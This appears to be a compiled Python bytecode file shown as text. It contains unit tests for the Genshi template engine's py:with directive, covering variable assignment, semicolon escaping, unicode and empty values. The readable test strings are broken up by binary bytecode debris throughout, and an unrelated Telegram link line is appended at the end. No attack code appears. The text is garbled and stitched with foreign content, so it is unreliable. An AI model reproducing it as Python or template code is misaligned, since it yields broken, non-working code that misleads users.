        </div>r�r�rrrrrr�test_multiple_vars_same_nameis�z2WithDirectiveTestCase.test_multiple_vars_same_namecCr�)Nz|<div xmlns:py="http://genshi.edgewall.org/">
          <py:with vars="x = y = z = 1">${x} ${y} ${z}</py:with>
        </div>z$<div>
          1 1 1
        </div>r�r�rrrrrr�$test_multiple_vars_single_assignmentvr�z:WithDirectiveTestCase.test_multiple_vars_single_assignmentcCr�)Nz�<div xmlns:py="http://genshi.edgewall.org/">
          <py:with vars="x, (y, z) = (1, (2, 3))">${x} ${y} ${z}</py:with>
        </div>z$<div>
          1 2 3
        </div>r�r�rrrrrr�"test_nested_vars_single_assignment~r�z8WithDirectiveTestCase.test_nested_vars_single_assignmentcCs,td�}|�dd|jdd�jdd��dS)Nz<div xmlns:py="http://genshi.edgewall.org/">
          <py:with vars="x = x * 2; y = x / 2;">${x} ${y}</py:with>
        </div>z$<div>
          84 %s
        </div>gE@r�r�rrrrrr�%test_multiple_vars_trailing_semicolon�s��z;WithDirectiveTestCase.test_multiple_vars_trailing_semicoloncCr&)Nz�<div xmlns:py="http://genshi.edgewall.org/">
          <py:with vars="x = 'here is a semicolon: ;'; y = 'here are two semicolons: ;;' ;">
            ${x}
            ${y}
          </py:with>
        </div>z_<div>
            here is a semicolon: ;
            here are two semicolons: ;;
        </div>rrrrrr�test_semicolon_escape�s�z+WithDirectiveTestCase.test_semicolon_escapecCs,td�}|�d|jddid�jdd��dS)z�
        Verify that the usual template expression AST transformations are
        applied despite the code being compiled to a `Suite` object.
        z�<div xmlns:py="http://genshi.edgewall.org/">
          <span py:with="bar=foo.bar">
            $bar
          </span>
        </div>zF<div>
          <span>
            42
          </span>
        </div>r�r�r:Nrrrrrr�test_ast_transformation�s�z-WithDirectiveTestCase.test_ast_transformationcCr&)Nu�<div xmlns:py="http://genshi.edgewall.org/">
          <span py:with="weeks=(u'一', u'二', u'三', u'四', u'五', u'六', u'日')">
            $weeks
          </span>
        </div>uY<div>
          <span>
            一二三四五六日
          </span>
        </div>rrrrrr�test_unicode_expr�s�z'WithDirectiveTestCase.test_unicode_exprcCr)zI
        Verify that an empty py:with works (useless, but legal)
        zY<div xmlns:py="http://genshi.edgewall.org/">
          <span py:with="">Text</span></div>z'<div>
          <span>Text</span></div>Nrrrrrr�test_with_empty_value�s�z+WithDirectiveTestCase.test_with_empty_valueN)rr r!r"r�r?r�r�r�r�r�r�r�r�rrrrr�Rs
r�cCs�t��}|�t�t��|�t�td��|�t�td��|�t�t	d��|�t�t
d��|�t�td��|�t�td��|�t�t
d��|�t�td��|�t�td��|�t�td��|S)N�test)�unittest�	TestSuite�addTest�doctest�DocTestSuiter�	makeSuiterr#rCrWr�r�r�r�r�r�)�suiterrrr��sr��__main__)�defaultTest)r�r�rlr��
genshi.compatr�genshi.templaterrrrr�TestCaserr#rCrWr�r�r�r�r�r�r�r�mainrrrr�<module>s2
(Eqro�

https://t.me/RX1948 - 2025